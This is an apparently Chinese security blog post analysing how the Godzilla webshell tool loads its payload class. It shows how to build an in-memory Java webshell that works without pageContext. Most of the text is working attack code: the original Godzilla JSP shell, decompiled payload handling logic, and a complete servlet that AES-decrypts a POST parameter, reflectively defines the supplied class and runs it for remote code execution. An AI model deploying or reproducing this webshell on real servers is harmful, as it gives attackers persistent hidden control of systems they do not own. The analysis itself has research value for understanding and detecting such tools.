注入内存马借助当前的webshell工具而言，冰蝎可以通过创建hashmap放入request、response、session替换pagecontext来解决
`HttpSession session = lastRequest.getSession();``pageContext.put("request", lastRequest);``pageContext.put("response", lastResponse);``pageContext.put("session", session);`
能这么写的原因是因为冰蝎做了处理
会从传入的obj中分别取到request、response、session。
而哥斯拉没有这么做，如何破局？
哥斯拉是基于动态加载class字节码实现的webshell工具。
先看一下jsp的shell
`<%! String xc = "3c6e0b8a9c15224a";` `String pass = "pass";` `String md5 = md5(pass + xc);`` ` `class X extends ClassLoader {` `public X(ClassLoader z) {` `super(z);` `}`` ` `public Class Q(byte[] cb) {` `return super.defineClass(cb, 0, cb.length);` `}` `}``....省略加密解密的函数....``%>``<%` `try {` `byte[] data = base64Decode(request.getParameter(pass));` `data = x(data, false);` `if (session.getAttribute("payload") == null) {` `session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data));` `} else {` `request.setAttribute("parameters", data);` `java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();` `Object f=((Class)session.getAttribute("payload")).newInstance();` `f.equals(arrOut);` `f.equals(pageContext);` `response.getWriter().write(md5.substring(0, 16));` `f.toString();` `response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));` `response.getWriter().write(md5.substring(16));` `}` `} catch (Exception e) {` `}``%>`
先判断session中payload是否为空，如果为空就用classloader加载解密之后的字节码data。
如果不为空将data赋值到session的parameters参数，然后从session中拿到定义的payload类，创建实例再进行了两次equals和一次tostring，两次equals分别传入ByteArrayOutputStream和pageContext。
通过bp代理看一下“测试连接”的过程
点完测试连接后bp多了两个请求
再点success的确定按钮后又多了一个请求。
一共三个请求，这三个请求分别干了什么？
为了调试，我们需要反编译哥斯拉源码找到godzilla\shells\payloads\java\assets\payload.classs文件，反编译回来后在idea项目中创建一个payload类，将源码粘贴进去。另外还需要关闭idea的自动tostring。
然后修改jsp让其加载我们自己的payload.class而非从session中加载
`<%` `try {` `byte[] data = base64Decode(request.getParameter(pass));` `data = x(data, false);` `if (session.getAttribute("payload") == null) {` `session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data));` `} else {` `request.setAttribute("parameters", data);` `java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();` `Object f = ((Class) Class.forName("payload")).newInstance();` `f.equals(arrOut);` `f.equals(pageContext);` `response.getWriter().write(md5.substring(0, 16));` `f.toString();` `response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));` `response.getWriter().write(md5.substring(16));` `}` `} catch (Exception e) {` `}``%>`
payload类是哥斯拉的功能实现类，其中有多个函数比如文件操作、命令执行等功能实现
而入口在equals()函数
handle()是真正的逻辑，noLog是不记录tomcat连接日志的函数。进入handle看下
`public boolean handle(Object obj) {` `if (obj == null) {` `return false;` `} else {` `Class streamClazz = ByteArrayOutputStreamClazz;` `if (streamClazz == null) {` `try {` `streamClazz = Class.forName("java.io.ByteArrayOutputStream");` `} catch (ClassNotFoundException var7) {` `throw new NoClassDefFoundError(var7.getMessage());` `}`` ` `ByteArrayOutputStreamClazz = streamClazz;` `}`` ` `if (streamClazz.isAssignableFrom(obj.getClass())) {` `this.outputStream = (ByteArrayOutputStream) obj;` `return false;` `} else {` `if (this.supportClass(obj, "%s.servlet.http.HttpServletRequest")) {` `this.servletRequest = obj;` `} else if (this.supportClass(obj, "%s.servlet.ServletRequest")) {` `this.servletRequest = obj;` `} else {` `streamClazz = byteArrayClazz;` `if (streamClazz == null) {` `try {` `streamClazz = Class.forName("[B");` `} catch (ClassNotFoundException var6) {` `throw new NoClassDefFoundError(var6.getMessage());` `}`` ` `byteArrayClazz = streamClazz;` `}`` ` `if (streamClazz.isAssignableFrom(obj.getClass())) {` `this.requestData = (byte[]) obj;` `} else if (this.supportClass(obj, "%s.servlet.http.HttpSession")) {` `this.httpSession = obj;` `}` `}`` ` `this.handlePayloadContext(obj);` `if (this.servletRequest != null && this.requestData == null) {` `Object var10001 = this.servletRequest;` `Class[] var10003 = new Class[1];` `Class var10006 = stringClazz;` `if (var10006 == null) {` `try {` `var10006 = Class.forName("java.lang.String");` `} catch (ClassNotFoundException var5) {` `throw new NoClassDefFoundError(var5.getMessage());` `}`` ` `stringClazz = var10006;` `}`` ` `var10003[0] = var10006;` `Object retVObject = this.getMethodAndInvoke(var10001, "getAttribute", var10003, new Object[]{"parameters"});` `if (retVObject != null) {` `streamClazz = byteArrayClazz;` `if (streamClazz == null) {` `try {` `streamClazz = Class.forName("[B");` `} catch (ClassNotFoundException var4) {` `throw new NoClassDefFoundError(var4.getMessage());` `}`` ` `byteArrayClazz = streamClazz;` `}`` ` `if (streamClazz.isAssignableFrom(retVObject.getClass())) {` `this.requestData = (byte[]) retVObject;` `}` `}` `}` `return true;` `}` `}``}`
分段来看，第一次equals的时候传入的是ByteArrayOutputStream实例
将其赋值给this.outputStream，this.outputStream是输出流，存储了response内容。
第二段equals的是pagecontext
image.png
先填充request，然后判断是否是session，如果是字节数组则说明是post参数 this.requestData = (byte[]) obj; 如果是HttpSession实例则放入this.httpSession
接着handlePayloadContext()填充request上下文和session
image.png
然后调用session.getAttribute("parameters")拿到requestData
第三段是toString
initSessionMap()初始化一个sessionMap放一些信息，然后formatParameter格式化参数map，然后this.run()
在formatParameter()函数中向参数map中放键值对
image.png
给他打印出来看一看，bp三个请求打印了两个键值对
image.png
第一个请求是加载class字节码的，然后第二个第三个请求时调用字节码功能，通过methodName来调用。接着run()完之后写输出。
那么请求流程就到这里，接下来看如何解决
上文讲到，requestData是post body，我们传入pagecontext的目的是为了通过session拿到parameters，那么如果我们抛弃session，直接把parameters通过equals函数传给payload类呢？
image.png
bp第一个请求是加载字节码，我们通过defClass加载进去，然后第二个请求分为四个阶段
1.equals传入ByteArrayOutputStream实例填充outputStream2.equals传递解码之后的data填充requestData3.equals传递HttpServletRequest填充request4.toString写response输出结果
而在第二阶段正是因为在payload#handle()中这段代码的出现解决了pagecontext
image.png
`package com.example.demo3;`` ``import javax.servlet.ServletException;``import javax.servlet.annotation.WebServlet;``import javax.servlet.http.HttpServlet;``import javax.servlet.http.HttpServletRequest;``import javax.servlet.http.HttpServletResponse;``import java.io.IOException;``import java.lang.reflect.Method;``import java.net.URL;``import java.net.URLClassLoader;`` ``@WebServlet(name = "helloServlet", value = "/hello")``public class HelloServlet extends HttpServlet {` `String xc = "3c6e0b8a9c15224a";` `String pass = "pass";` `String md5 = md5(pass + xc);` `Class payload;`` ` `public static String md5(String s) {` `String ret = null;` `try {` `java.security.MessageDigest m;` `m = java.security.MessageDigest.getInstance("MD5");` `m.update(s.getBytes(), 0, s.length());` `ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();` `} catch (Exception e) {` `}` `return ret;` `}`` ` `public static String base64Encode(byte[] bs) throws Exception {` `Class base64;` `String value = null;` `try {` `base64 = Class.forName("java.util.Base64");` `Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);` `value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});` `} catch (Exception e) {` `try {` `base64 = Class.forName("sun.misc.BASE64Encoder");` `Object Encoder = base64.newInstance();` `value = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});` `} catch (Exception e2) {` `}` `}` `return value;` `}`` ` `public static byte[] base64Decode(String bs) throws Exception {` `Class base64;` `byte[] value = null;` `try {` `base64 = Class.forName("java.util.Base64");` `Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);` `value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs});` `} catch (Exception e) {` `try {` `base64 = Class.forName("sun.misc.BASE64Decoder");` `Object decoder = base64.newInstance();` `value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs});` `} catch (Exception e2) {` `}` `}` `return value;` `}`` ` `public byte[] x(byte[] s, boolean m) {` `try {` `javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");` `c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));` `return c.doFinal(s);` `} catch (Exception e) {` `return null;` `}` `}`` ` `public Class defClass(byte[] classBytes) throws Throwable {` `URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());` `Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);` `defMethod.setAccessible(true);` `return (Class) defMethod.invoke(urlClassLoader, classBytes, 0, classBytes.length);` `}`` ` `@Override` `protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {` `try {` `byte[] data = base64Decode(req.getParameter(pass));` `data = x(data, false);` `if (payload == null) {` `payload = defClass(data);` `} else {` `java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();` `Object f = payload.newInstance();` `f.equals(arrOut);` `f.equals(data);` `f.equals(req);` `resp.getWriter().write(md5.substring(0, 16));` `f.toString();` `resp.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));` `resp.getWriter().write(md5.substring(16));` `}` `} catch (Throwable e) {` `}` `}``}`
其实完整代码还是北辰发我的，我只是探究了一下其原因，这种pagecontext的问题还是得深入看工具的功能实现才能解决问题。
另外自己在写冰蝎内存马的时候遇到了包装类的问题，而哥斯拉不存在这个问题。因为哥斯拉是通过参数传递的payload，而冰蝎是直接把字节码放在了body中。
image.png
只能说哥斯拉yyds!
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